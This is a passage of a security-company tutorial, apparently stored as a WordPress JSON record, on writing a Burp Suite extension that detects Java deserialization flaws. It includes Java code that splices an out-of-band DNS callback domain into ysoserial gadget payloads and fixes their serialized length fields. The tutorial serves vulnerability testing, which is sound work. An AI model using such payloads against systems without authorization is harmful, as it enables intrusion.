<\/em>method<em>\u00a0<\/em>to <strong>replace the placeholder<\/strong> (<em>XXXXX<\/em>) we put when we generated the ysoserial payloads with the Collaborator payload. For now, I haven&#8217;t provided the implementation of the method; it simply takes a payload from ysoserial and a domain generated by the Collaborator, then places the domain into the payload while adjusting the various length fields specific to the binary object to ensure it is correct. I&#8217;ll provide the implementation of the method later, but consider it outside the scope of this example. The payload returned by the <em>createDnsPayload <\/em>is then encoded in base64 using the specific utilities offered by the Montoya API we saw in various previous examples.<\/li>\n<li>Finally, after sending the request with the payload to the backend and having received the response, <strong>we look for interactions generated by our payload<\/strong>, using the <em>getInteractions\u00a0<\/em>function. We used the method that accepts a filter (of type <a href=\"https:\/\/portswigger.github.io\/burp-extensions-montoya-api\/javadoc\/burp\/api\/montoya\/collaborator\/InteractionFilter.html\"><em>InteractionFilter<\/em><\/a>) as an argument, requesting only the interactions related to the specific payload we just generated, thanks to the static method &#8220;I<span class=\"return-type\">nteractionFilter<\/span>\u00a0<span class=\"element-name\">interactionPayloadFilter<\/span><wbr \/><span class=\"parameters\">(String payload)&#8221; of the <\/span><a href=\"https:\/\/portswigger.github.io\/burp-extensions-montoya-api\/javadoc\/burp\/api\/montoya\/collaborator\/InteractionFilter.html\"><em>InteractionFilter<\/em><\/a> class.<\/li>\n<\/ol>\n<p>Then, if we have interactions, we report the issue as usual.<\/p>\n<p>For completeness, here is the code for the <em>createDnsPayload<\/em> method. The function simply replaces the placeholder with the Collaborator payload and then fixes a couple of lengths, but take it as is without overcomplicating things :D.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\">public ByteArray createDnsPayload(ByteArray genericPayload, String collaboratorURL) {\r\n\r\n    String hostTokenString = \"XXXXX\";\r\n\r\n    int indexPlaceholderFirstUrlCharacter = genericPayload.indexOf(hostTokenString, true);\r\n    int indexPlaceholderLastUrlCharacter = indexPlaceholderFirstUrlCharacter + hostTokenString.length() -1;\r\n\r\n    int newCollaboratorVectorLength = collaboratorURL.length();\r\n\r\n    ByteArray payloadPortionBeforeUrl = genericPayload.subArray(0, indexPlaceholderFirstUrlCharacter);\r\n    ByteArray payloadPortionAfterUrl = genericPayload.subArray(indexPlaceholderLastUrlCharacter+1, genericPayload.length());\r\n\r\n    payloadPortionBeforeUrl.setByte(payloadPortionBeforeUrl.length()-1, (byte)newCollaboratorVectorLength);\r\n\r\n    ByteArray payloadWithCollaboratorUrl = payloadPortionBeforeUrl.withAppended(ByteArray.byteArray(collaboratorURL));\r\n    payloadWithCollaboratorUrl = payloadWithCollaboratorUrl.withAppended(payloadPortionAfterUrl);\r\n\r\n    \/\/ Adjust one more length in the serialization process when the TemplateImpl object is used for exploitation\r\n    ByteArray patternTemplateImplToSearch = ByteArray.byteArray(new byte[]{(byte)0xf8,(byte)0x06,(byte)0x08,(byte)0x54,(byte)0xe0,(byte)0x02,(byte)0x00,(byte)0x00,(byte)0x78,(byte)0x70,(byte)0x00,(byte)0x00,(byte)0x06});\r\n    int indexOfPatternTemplateImpl = payloadWithCollaboratorUrl.indexOf(patternTemplateImplToSearch,false);\r\n    if(indexOfPatternTemplateImpl != -1)\r\n        payloadWithCollaboratorUrl.setByte(indexOfPatternTemplateImpl+13, (byte)(payloadWithCollaboratorUrl.getByte(indexOfPatternTemplateImpl+13) + (newCollaboratorVectorLength - 5)));\r\n\r\n    return payloadWithCollaboratorUrl;\r\n\r\n}<\/pre>\n<p>After compiling and packaging the extension and loading it in Burp Suite (see <a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-1\/\">part 1<\/a> for details), we can try it out!<\/p>\n<p>As detailed in <a href=\"https:\/\/hnsecurity.it\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-6\/\">Part 6<\/a>, the best way to test our plugin is to send the request to the Intruder tool, select our insertion point, use the &#8220;Scan defined insertion points&#8221; feature, and define a scan configuration only for extensions:<\/p>\n<p><img decoding=\"async\" class=\"size-full wp-image-3758 aligncenter\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_16-03-1.png\" alt=\"\" width=\"1373\" height=\"777\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_16-03-1.png 1373w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_16-03-1-300x170.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_16-03-1-1024x579.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_16-03-1-768x435.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_16-03-1-350x198.png 350w\" sizes=\"(max-width: 1373px) 100vw, 1373px\" \/><\/p>\n<p>And this is the result!<\/p>\n<p><img decoding=\"async\" class=\"size-full wp-image-3759 aligncenter\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_16-05-1.png\" alt=\"\" width=\"1373\" height=\"740\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_16-05-1.png 1373w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_16-05-1-300x162.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_16-05-1-1024x552.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_16-05-1-768x414.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/2024-08-02_16-05-1-350x189.png 350w\" sizes=\"(max-width: 1373px) 100vw, 1373px\" \/><\/p>\n<p>Before concluding the article, I would like to briefly <strong>discuss the Collaborator and its interactions<\/strong>. In this example, we generated a payload, sent it to the backend, and checked for interactions immediately afterwards. This approach makes sense in this case because if the application is vulnerable, it will deserialize the object, make the DNS request, and respond only after receiving the response to the DNS query. In other scenarios, however, we might be interested in <strong>continuing to monitor for interactions<\/strong>, allowing us to capture interactions that arrive some time after the payload has been sent.<\/p>\n<p>In this case, <strong>we need to create a thread that periodically polls for interactions<\/strong> related to all payloads generated during the current Collaborator session. It might also be useful to save the Collaborator key (using the <em>getSecretKey<\/em> function of the <a href=\"https:\/\/portswigger.github.io\/burp-extensions-montoya-api\/javadoc\/burp\/api\/montoya\/collaborator\/CollaboratorClient.html\"><em>CollaboratorClient<\/em><\/a> object), so we can restore the session after closing and reopening the project (for example using the methods offered by the <a href=\"https:\/\/portswigger.github.io\/burp-extensions-montoya-api\/javadoc\/burp\/api\/montoya\/persistence\/Persistence.html\"><em>Persistence<\/em><\/a> object supplied by the usual <em>MontoyaApi<\/em> object). An example of such thread can be found in the <a href=\"https:\/\/github.com\/PortSwigger\/burp-extensions-montoya-api-examples\/blob\/main\/collaborator\/src\/main\/java\/example\/collaborator\/poller\/Poller.java\">Montoya examples released by PortSwigger<\/a>.<\/p>\n<p><em>Not all interactions are indicative of issues like SSRF or similar vulnerabilities in the target application, especially when they occur a long time after the payload is sent!<\/em> These interactions could be triggered by traffic analysis tools (IDS, IPS), manual analysis performed by the Blue Team, log analysis tools, or other external factors. And keep in mind that many messaging tools (like Microsoft Teams) will retrieve links to generate a preview when you paste them. Remember this if, for example, you generate a link for a colleague and then receive an interaction from a Microsoft IP address (you should always run a WHOIS on the source IP that generated the interaction).<\/p>\n<p>And that\u2019s all for today. In the next part, we will see <strong>how to use BChecks<\/strong>\u00a0to quickly extend Burp Suite Active and Passive Scanner when we need to add checks that aren&#8217;t too complex.<\/p>\n<p>As always, the complete code of the backend and of the plugins can be downloaded from\u00a0<a href=\"https:\/\/github.com\/federicodotta\/Burp-Suite-Extender-Montoya-Course\">my GitHub repository.<\/a><\/p>\n<p>Cheers!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Setting up the environment + Hello World Inspecting and tampering HTTP requests and responses Inspecting and tampering WebSocket messages Creating [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":159897,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[91,88],"tags":[104,185,186,187,188,189,115],"class_list":["post-3720","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-articles","category-tools","tag-burp-suite","tag-extender","tag-extender-course","tag-extending-burp-suite","tag-montoya-api","tag-tutorial","tag-web"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>HN Security - Extending Burp Suite for fun and profit - The Montoya way - Part 7 -<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HN Security - Extending Burp Suite for fun and profit - The Montoya way - Part 7 -\" \/>\n<meta property=\"og:description\" content=\"Setting up the environment + Hello World Inspecting and tampering HTTP requests and responses Inspecting and tampering WebSocket messages Creating [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/\" \/>\n<meta property=\"og:site_name\" content=\"HN Security\" \/>\n<meta property=\"article:published_time\" content=\"2024-11-19T09:23:37+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-05-05T12:22:13+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/BURP.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1600\" \/>\n\t<meta property=\"og:image:height\" content=\"836\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Federico Dotta\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hnsec\" \/>\n<meta name=\"twitter:site\" content=\"@hnsec\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Federico Dotta\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\\\/\"},\"author\":{\"name\":\"Federico Dotta\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/e0e6046bd2bc829f7d945ad361bce702\"},\"headline\":\"Extending Burp Suite for fun and profit &#8211; The Montoya way &#8211; Part 7\",\"datePublished\":\"2024-11-19T09:23:37+00:00\",\"dateModified\":\"2026-05-05T12:22:13+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\\\/\"},\"wordCount\":2645,\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/BURP.jpg\",\"keywords\":[\"Burp Suite\",\"Extender\",\"Extender course\",\"Extending Burp Suite\",\"Montoya API\",\"Tutorial\",\"web\"],\"articleSection\":[\"Articles\",\"Tools\"],\"inLanguage\":\"it-IT\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\\\/\",\"name\":\"HN Security - Extending Burp Suite for fun and profit - The Montoya way - Part 7 -\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/BURP.jpg\",\"datePublished\":\"2024-11-19T09:23:37+00:00\",\"dateModified\":\"2026-05-05T12:22:13+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\\\/#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\\\/#primaryimage\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/BURP.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/BURP.jpg\",\"width\":1600,\"height\":836},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Extending Burp Suite for fun and profit &#8211; The Montoya way &#8211; Part 7\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"name\":\"HN Security\",\"description\":\"Offensive Security Specialists\",\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\",\"name\":\"HN Security\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"width\":696,\"height\":696,\"caption\":\"HN Security\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/hnsec\",\"https:\\\/\\\/www.linkedin.com\\\/company\\\/hnsecurity\\\/\",\"https:\\\/\\\/github.com\\\/hnsecurity\",\"https:\\\/\\\/infosec.exchange\\\/@hnsec\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/e0e6046bd2bc829f7d945ad361bce702\",\"name\":\"Federico Dotta\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/02d5d800b81f2a125ac23ee31a108ee2404d123bd3b722f2e263f0130cc1df42?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/02d5d800b81f2a125ac23ee31a108ee2404d123bd3b722f2e263f0130cc1df42?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/02d5d800b81f2a125ac23ee31a108ee2404d123bd3b722f2e263f0130cc1df42?s=96&d=mm&r=g\",\"caption\":\"Federico Dotta\"},\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/author\\\/federico-dotta\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"HN Security - Extending Burp Suite for fun and profit - The Montoya way - Part 7 -","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/","og_locale":"it_IT","og_type":"article","og_title":"HN Security - Extending Burp Suite for fun and profit - The Montoya way - Part 7 -","og_description":"Setting up the environment + Hello World Inspecting and tampering HTTP requests and responses Inspecting and tampering WebSocket messages Creating [&hellip;]","og_url":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/","og_site_name":"HN Security","article_published_time":"2024-11-19T09:23:37+00:00","article_modified_time":"2026-05-05T12:22:13+00:00","og_image":[{"width":1600,"height":836,"url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/BURP.jpg","type":"image\/jpeg"}],"author":"Federico Dotta","twitter_card":"summary_large_image","twitter_creator":"@hnsec","twitter_site":"@hnsec","twitter_misc":{"Scritto da":"Federico Dotta","Tempo di lettura stimato":"14 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/#article","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/"},"author":{"name":"Federico Dotta","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/e0e6046bd2bc829f7d945ad361bce702"},"headline":"Extending Burp Suite for fun and profit &#8211; The Montoya way &#8211; Part 7","datePublished":"2024-11-19T09:23:37+00:00","dateModified":"2026-05-05T12:22:13+00:00","mainEntityOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/"},"wordCount":2645,"publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/BURP.jpg","keywords":["Burp Suite","Extender","Extender course","Extending Burp Suite","Montoya API","Tutorial","web"],"articleSection":["Articles","Tools"],"inLanguage":"it-IT"},{"@type":"WebPage","@id":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/","url":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/","name":"HN Security - Extending Burp Suite for fun and profit - The Montoya way - Part 7 -","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/#primaryimage"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/BURP.jpg","datePublished":"2024-11-19T09:23:37+00:00","dateModified":"2026-05-05T12:22:13+00:00","breadcrumb":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/#primaryimage","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/BURP.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/BURP.jpg","width":1600,"height":836},{"@type":"BreadcrumbList","@id":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hnsecurity.it\/it\/"},{"@type":"ListItem","position":2,"name":"Extending Burp Suite for fun and profit &#8211; The Montoya way &#8211; Part 7"}]},{"@type":"WebSite","@id":"https:\/\/hnsecurity.it\/it\/#website","url":"https:\/\/hnsecurity.it\/it\/","name":"HN Security","description":"Offensive Security Specialists","publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hnsecurity.it\/it\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https:\/\/hnsecurity.it\/it\/#organization","name":"HN Security","url":"https:\/\/hnsecurity.it\/it\/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","width":696,"height":696,"caption":"HN Security"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/hnsec","https:\/\/www.linkedin.com\/company\/hnsecurity\/","https:\/\/github.com\/hnsecurity","https:\/\/infosec.exchange\/@hnsec"]},{"@type":"Person","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/e0e6046bd2bc829f7d945ad361bce702","name":"Federico Dotta","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/secure.gravatar.com\/avatar\/02d5d800b81f2a125ac23ee31a108ee2404d123bd3b722f2e263f0130cc1df42?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/02d5d800b81f2a125ac23ee31a108ee2404d123bd3b722f2e263f0130cc1df42?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/02d5d800b81f2a125ac23ee31a108ee2404d123bd3b722f2e263f0130cc1df42?s=96&d=mm&r=g","caption":"Federico Dotta"},"url":"https:\/\/hnsecurity.it\/it\/blog\/author\/federico-dotta\/"}]}},"jetpack_featured_media_url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/BURP.jpg","_links":{"self":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/3720","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/comments?post=3720"}],"version-history":[{"count":4,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/3720\/revisions"}],"predecessor-version":[{"id":161499,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/3720\/revisions\/161499"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media\/159897"}],"wp:attachment":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media?parent=3720"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/categories?post=3720"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/tags?post=3720"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}